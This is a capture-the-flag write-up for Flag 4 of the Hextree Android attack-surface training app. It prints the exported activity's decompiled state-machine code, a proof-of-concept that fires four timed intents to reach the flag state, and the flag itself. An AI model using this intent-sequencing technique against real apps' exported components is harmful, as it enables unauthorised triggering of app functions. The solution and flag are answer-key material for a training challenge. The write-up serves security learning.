Static Analysis

AndroidManifest.xml

Upon inspecting the Flag4Activity in the AndroidManifest.xml file we see the following

<activity  
	android:name="io.hextree.attacksurface.activities.Flag4Activity"  
	android:exported="true"/>

Since exported is set to true we can call this activity from our exploit apk, let’s review the code to see how can we get the flag

Flag4Activity Class

public class Flag4Activity extends AppCompactActivity {  
    public Flag4Activity() {  
        this.name = "Flag 4 - State machine";  
        this.flag = "2ftukoQ59QLkG42FGkCkdyK7+Jwi0uY7QfC2sPyofRcgvI+kzSIwqP0vMJ9fCbRn";  
    }  
  
    public enum State {  
        INIT(0),  
        PREPARE(1),  
        BUILD(2),  
        GET_FLAG(3),  
        REVERT(4);  
  
        private final int value;  
  
        State(int i) {  
            this.value = i;  
        }  
  
        public int getValue() {  
            return this.value;  
        }  
  
        public static State fromInt(int i) {  
            for (State state : values()) {  
                if (state.getValue() == i) {  
                    return state;  
                }  
            }  
            return INIT;  
        }  
    }  
  
    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity  
    protected void onCreate(Bundle bundle) {  
        super.onCreate(bundle);  
        this.f = new LogHelper(this);  
        stateMachine(getIntent());  
    }  
  
    private State getCurrentState() {  
        return State.fromInt(SolvedPreferences.getInt(getPrefixKey("state")));  
    }  
  
    private void setCurrentState(State state) {  
        SolvedPreferences.putInt(getPrefixKey("state"), state.getValue());  
    }  
  
    public void stateMachine(Intent intent) {  
        String action = intent.getAction();  
        int ordinal = getCurrentState().ordinal();  
        if (ordinal != 0) {  
            if (ordinal != 1) {  
                if (ordinal != 2) {  
                    if (ordinal == 3) {  
                        this.f.addTag(State.GET_FLAG);  
                        setCurrentState(State.INIT);  
                        success(this);  
                        Log.i("Flag4StateMachine", "solved");  
                        return;  
                    }  
                    if (ordinal == 4 && "INIT_ACTION".equals(action)) {  
                        setCurrentState(State.INIT);  
                        Toast.makeText(this, "Transitioned from REVERT to INIT", 0).show();  
                        Log.i("Flag4StateMachine", "Transitioned from REVERT to INIT");  
                        return;  
                    }  
                } else if ("GET_FLAG_ACTION".equals(action)) {  
                    setCurrentState(State.GET_FLAG);  
                    Toast.makeText(this, "Transitioned from BUILD to GET_FLAG", 0).show();  
                    Log.i("Flag4StateMachine", "Transitioned from BUILD to GET_FLAG");  
                    return;  
                }  
            } else if ("BUILD_ACTION".equals(action)) {  
                setCurrentState(State.BUILD);  
                Toast.makeText(this, "Transitioned from PREPARE to BUILD", 0).show();  
                Log.i("Flag4StateMachine", "Transitioned from PREPARE to BUILD");  
                return;  
            }  
        } else if ("PREPARE_ACTION".equals(action)) {  
            setCurrentState(State.PREPARE);  
            Toast.makeText(this, "Transitioned from INIT to PREPARE", 0).show();  
            Log.i("Flag4StateMachine", "Transitioned from INIT to PREPARE");  
            return;  
        }  
        Toast.makeText(this, "Unknown state. Transitioned to INIT", 0).show();  
        Log.i("Flag4StateMachine", "Unknown state. Transitioned to INIT");  
        setCurrentState(State.INIT);  
    }  
}

Upon inspecting the code we see that we need to send 4 intents:

  1. Intent with PREPARE_ACTION to transition the code to ordinal=1
  2. Intent with BUILD_ACTION to transition the code to ordinal=2
  3. Intent with GET_FLAG_ACTION to transition the code to ordinal=3
  4. Last intent that will go into the ordinal=3 if condition to get the flag

Creating POC

In our APK we add a button that fires 4 intents one after the other in the order we said before

        Button button = findViewById(R.id.button_flag4);
        button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.v("HEXTREE", "Going to flag 4 activity");
 
                // First, send the "PREPARE_ACTION"
                Intent prepareIntent = new Intent();
                prepareIntent.setComponent(
                        new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
                prepareIntent.setAction("PREPARE_ACTION");
                startActivity(prepareIntent);
 
                // Wait a short time and then send the "BUILD_ACTION"
                new Handler().postDelayed(() -> {
                    Intent buildIntent = new Intent();
                    buildIntent.setAction("BUILD_ACTION");
                    buildIntent.setComponent(
                            new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
                    startActivity(buildIntent);
 
                    // Wait a short time and then send the "GET_FLAG_ACTION"
                    new Handler().postDelayed(() -> {
                        Intent getFlagIntent = new Intent();
                        getFlagIntent.setAction("GET_FLAG_ACTION");
                        getFlagIntent.setComponent(
                                new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
                        startActivity(getFlagIntent);
 
                        new Handler().postDelayed(() -> {
                            Intent finalIntent = new Intent();
                            finalIntent.setComponent(
                                    new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
                            startActivity(finalIntent);
                        }, 500); // 500ms delay before getting the flag
                    }, 500); // 500ms delay before GET_FLAG_ACTION
                }, 500); // 500ms delay before BUILD_ACTION
 
            }
        });

Notice we used Handler().postDelayed function so the intents have some time between each one in order to update the state of the code

Flag

Logcat Output (Shows the flow in a good way)

Flag

HXT{sometimes-require-multiple-calls-5133au2}